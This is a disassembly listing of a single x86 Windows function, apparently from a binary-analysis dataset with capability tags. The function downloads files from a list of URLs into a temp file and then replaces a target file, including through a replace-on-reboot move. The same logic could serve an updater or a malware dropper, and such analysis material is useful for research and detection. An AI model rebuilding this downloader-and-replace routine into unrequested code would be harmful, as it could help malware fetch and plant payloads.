Function at 0x40318d
Capabilities:
Delete file
Download url
Get common file path
Move file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov dword [ebp - 0x430], ecx
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0x218], eax
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x10
call fcn.00403a50
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0x20c], eax
push 0x5c
mov eax, dword [ebp - 0x218]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jne 0x4031ee
xor al, al
jmp 0x40339e
push 0x104
push 0
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x210]
sub edx, dword [ebp - 0x218]
add edx, 1
push edx
mov eax, dword [ebp - 0x218]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
lea edx, [ebp - 0x320]
push edx
push 0
push str.Temp
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x403251
xor al, al
jmp 0x40339e
push 0x2f
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
je 0x403280
mov edx, dword [ebp - 0x210]
movsx eax, byte [edx + 1]
test eax, eax
jne 0x403287
xor al, al
jmp 0x40339e
mov ecx, dword [ebp - 0x210]
add ecx, 1
push ecx
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp + 8]
add ecx, 0x10
call fcn.00403a10
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x21c], 0
jmp 0x4032cc
mov eax, dword [ebp - 0x21c]
add eax, 1
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x21c]
cmp ecx, dword [ebp - 0x214]
jge 0x403357
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp - 0x430]
mov ecx, dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x42c]
call fcn.004038a0
lea edx, [ebp - 0x42c]
push edx
push 0
lea eax, [ebp - 0x320]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
mov ecx, dword [ebp + 8]
add ecx, 0x10
call fcn.00403a50
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jge 0x403350
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x214]
sub eax, 1
cmp dword [ebp - 0x21c], eax
jne 0x40334e
xor al, al
jmp 0x40339e
jmp 0x403352
jmp 0x403357
jmp 0x4032bd
push 1
mov ecx, dword [ebp - 0x218]
push ecx
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40339c
push 5
mov eax, dword [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40339c
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x40339e
mov al, 1
mov esp, ebp
pop ebp
ret 4